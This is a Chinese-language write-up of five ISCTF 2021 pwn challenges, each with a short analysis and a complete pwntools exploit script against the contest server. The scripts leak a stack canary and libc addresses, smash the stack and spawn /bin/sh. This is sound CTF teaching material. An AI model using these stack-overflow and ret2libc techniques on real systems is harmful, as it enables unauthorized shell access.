ISCTF_2021_pwn

杰哥的nc

一道有意思的nc题目,没有给我们附件,直接nc连接一下

$ python3 nc_exp.py 
[+] Opening connection to challenge.imxbt.cn on port 30501: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib64
pwn
[*] Got EOF while reading in interactive
$

输入一次ls后,就退出程序,此时发现了flag文件,是不是直接cat flag就能获得flag?试一下

$ python3 nc_exp.py 
[+] Opening connection to challenge.imxbt.cn on port 30501: Done
[*] Switching to interactive mode
$ cat flag
$ ls
ls
$

发现并没有给flag,而是只执行了一个裸的cat命令,因为当cat没带文件参数时,会从stdin读,因此我们输入ls,它就会读取这个ls并将其输出出来。此时我猜测这个程序是不是只能执行第一个指令,下面来验证一下这个猜想是否成立

$ python3 nc_exp.py 
[+] Opening connection to challenge.imxbt.cn on port 30501: Done
[*] Switching to interactive mode
$ ls -l
bin
dev
flag
lib
lib64
pwn
[*] Got EOF while reading in interactive
$
[*] Closed connection to challenge.imxbt.cn port 30501
$ ls -l
total 4
-rwxrwxrwx 1 haoo haoo 73 Apr 24 09:01 nc_exp.py

由此可知我的猜测完全正确,我们并没有获取到真正的shell,输入/bin/sh或者$0启动一个真正的shell,接着再读取flag就行了。exp如下:

from pwn import*
io = remote("challenge.imxbt.cn",30501)
io.sendline(b"/bin/sh")
io.sendline(b"cat flag")
io.interactive()

救救小肥鲨吧

$ checksec help_my_shark
[*] '/mnt/d/国内赛/ISCTF_2021/help_my_shark'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位没有开启什么保护,将其放入ida里面看一下

int __cdecl func(int a1)
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

printf("help me : ");
gets(s);
if ( a1 == 0xBEECAFEE )
return system("/bin/sh");
else
return puts("Oh,no");
}

存在gets函数,说明有栈溢出漏洞,存在system函数和”/bin/sh”字符串,因此思路就是利用栈溢出覆盖返回地址为system函数的地址,再将”/bin/sh”字符串作为参数传入system函数里面,从而获取shell。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./help_my_shark'
#libc_file=''
elf=ELF('./help_my_shark')
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=30774
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

system_addr = elf.plt['system']
bin_sh = 0x080485EB
#gdb.attach(io)
payload = cyclic(0x28 + 4) + p32(system_addr) + p32(0) + p32(bin_sh)
sl(payload)
#连接
#--------------------------------------------------------------------------------
ioi()

金丝雀

[*] '/mnt/d/国内赛/ISCTF_2021/金丝雀'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No

一道64位题目,开启了canary保护,但没有开启NX保护,可以只要知道栈上的地址,感觉就可以打shellcode,放入ida中看看

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf_[32]; // [rsp+0h] [rbp-50h] BYREF
char buf[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("Welcome ISCTF!");
puts("Tell me your name");
read(0, buf, 0x100u);
printf("Ok %s,Do you kown PWN?,It's 0x464c4147 right!\n", buf);
read(0, buf_, 0x100u);
puts("Ok bey!");
return 0;
}

存在明显的栈溢出,而且可以利用printf函数泄漏canary的值,再仔细观察可以发现catflag函数

int catflag()
{
return system("/bin/sh");
}

那么思路就明确了,首先通过printf函数泄露出canary的值,接着再利用栈溢出覆盖返回地址为catflag函数的地址,获取shell即可。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./金丝雀'
#libc_file=''
elf=ELF('./金丝雀')
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=32477
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

#gdb.attach(io)
catflag_addr = 0x4011D6
ret = 0x000000000040101a

payload = b"a"*40
sl(payload)
io.recvuntil(b"a"*40)
canary = u64(io.recv(8)) - 0xa
leak("canary",canary)

payload = cyclic(0x50 - 8) + p64(canary) + p64(ret) + p64(ret) + p64(catflag_addr)
sl(payload)
#连接
#--------------------------------------------------------------------------------
ioi()

Diceney-level1

这道题是一个猜数的程序,当变量win为20时,就可以获得shell了。

int input; // [rsp+8h] [rbp-28h]
int win; // [rsp+Ch] [rbp-24h]
*(&input + i % 4) = input;

发现了一个关键点,就是我们输入的input的值会赋值给*(&input + i % 4)处的变量,而win在&input+1处,因此只需要i%4等于1,此时我们输入20,就相当于把20赋值给了win,从而我们就可以获得shell了。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./Diceney-level1'
#libc_file=''
elf=ELF('./Diceney-level1')
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=31068
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

#gdb.attach(io)
sl(b"1")
sl(b"20")
#连接
#--------------------------------------------------------------------------------
ioi()

小肥鲨的疑惑

一道简单的ret2libc题目,直接打就行了

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./小肥鲨的疑惑'
#libc_file=''
elf=ELF('./小肥鲨的疑惑')
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=30687
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

pop_rdi = 0x0000000000400783
ret = 0x0000000000400506
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4006D4

io.recvuntil("Now start your play:\n\n")

payload = cyclic(0x20+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sl(payload)
leak_addr = io.recvuntil(b'\n', drop=True)
puts_addr = u64(leak_addr.ljust(8, b'\x00'))
libc_base = puts_addr - 0x06f6a0
leak("libc_base",libc_base)
bin_sh = libc_base + 0x18ce57
system = libc_base + 0x0453a0

payload = cyclic(0x28) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(0)
sl(payload)
#连接
#--------------------------------------------------------------------------------
ioi()
Next 系统调用号